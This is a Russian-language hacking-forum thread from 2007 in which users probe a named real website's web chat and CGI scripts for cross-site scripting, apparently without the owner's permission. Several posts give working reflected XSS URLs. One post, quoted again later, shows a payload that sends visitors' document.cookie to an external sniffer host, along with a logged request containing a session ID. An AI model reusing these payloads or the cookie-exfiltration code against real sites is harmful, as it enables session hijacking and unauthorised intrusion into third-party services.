HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Чаты
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Chat на айпод.
  #1  
Старый 03.01.2007, 22:14
combat7777
Новичок
Регистрация: 03.01.2007
Сообщений: 7
С нами: 10185251

Репутация: 0
По умолчанию Chat на айпод.

http://www.ipodradio.ru/cgi-bin/chat.cgi?room=227

проверим веб чат на дырки. флудилки достали, админ редко появляетя а модера ничего не могут сделать...
 

  #2  
Старый 04.01.2007, 21:04
combat7777
Новичок
Регистрация: 03.01.2007
Сообщений: 7
С нами: 10185251

Репутация: 0
По умолчанию

Ну что никто не пробовал...придётся одному возиться...
 

  #3  
Старый 04.01.2007, 21:15
Goudini
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
С нами: 10487223

Репутация: 490
По умолчанию

http://www.ipodradio.ru/cgi-bin/search.cgi?search=%22%3E%3Cscript%3Ealert(%22xss%2 2)%3C/script%3E

На те пассивную xss, радуйся =)
 

  #4  
Старый 05.01.2007, 02:26
combat7777
Новичок
Регистрация: 03.01.2007
Сообщений: 7
С нами: 10185251

Репутация: 0
По умолчанию

Цитата:
Сообщение от Goudini  
http://www.ipodradio.ru/cgi-bin/search.cgi?search=%22%3E%3Cscript%3Ealert(%22xss%2 2)%3C/script%3E

На те пассивную xss, радуйся =)

Эта пассивная на подкасты выводит...
 

  #5  
Старый 05.01.2007, 19:25
JFKenedi
Новичок
Регистрация: 10.06.2006
Сообщений: 16
С нами: 10483069

Репутация: 7
По умолчанию

Вот еще одна...
_http://www.ipodradio.ru/cgi-bin/podcasts.cgi?t=%3Cfont%20color=red%3EPREVED</div><br><br><br><script>alert('hello world')</script>
 

  #6  
Старый 05.01.2007, 19:57
JFKenedi
Новичок
Регистрация: 10.06.2006
Сообщений: 16
С нами: 10483069

Репутация: 7
По умолчанию

Вот Активная можно заснифать свои куки ! =)

Код HTML:
Запрос с www.ipodradio.ru (05.01.2007 18:53)	
IP: 217.149.16.77 
QUERY: =b=b; cinfo=Has component: undefined; version: undefined; has ajax: yes; xsid=4d315f550695126b5bf2e204e7882474
REFERER: http://www.ipodradio.ru/cgi-bin/search.cgi?search="><script>img = new Image(); img.src = "http://antichat.org/s/JFKenedi.gif?="+document.cookie;</script><input type="hidden&sby=podcast&x=0&y=0
AGENT: Opera/8.01 (Windows NT 5.1; U; ru)
 

  #7  
Старый 04.01.2007, 21:23
InferNo23
Участник форума
Регистрация: 05.09.2006
Сообщений: 187
С нами: 10358246

Репутация: 378
По умолчанию

Код:
http://www.ipodradio.ru/cgi-bin/chat.cgi?room=%22%3E%3Cscript%3Ealert()%3C/script%3E
 

  #8  
Старый 05.01.2007, 02:12
combat7777
Новичок
Регистрация: 03.01.2007
Сообщений: 7
С нами: 10185251

Репутация: 0
По умолчанию

Благодарствую тебя познающий !!!
 

  #9  
Старый 05.01.2007, 20:10
Kaban
Участник форума
Регистрация: 19.03.2006
Сообщений: 286
С нами: 10602689

Репутация: 144
По умолчанию

Цитата:
Сообщение от JFKenedi  
Вот Активная можно заснифать свои куки ! =)

Код HTML:
Запрос с www.ipodradio.ru (05.01.2007 18:53)	
IP: 217.149.16.77 
QUERY: =b=b; cinfo=Has component: undefined; version: undefined; has ajax: yes; xsid=4d315f550695126b5bf2e204e7882474
REFERER: http://www.ipodradio.ru/cgi-bin/search.cgi?search="><script>img = new Image(); img.src = "http://antichat.org/s/JFKenedi.gif?="+document.cookie;</script><input type="hidden&sby=podcast&x=0&y=0
AGENT: Opera/8.01 (Windows NT 5.1; U; ru)
это пасивка
 

  #10  
Старый 06.01.2007, 01:30
combat7777
Новичок
Регистрация: 03.01.2007
Сообщений: 7
С нами: 10185251

Репутация: 0
По умолчанию

Цитата:
Сообщение от Kaban  
это пасивка
Не получилосс заснифать...
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.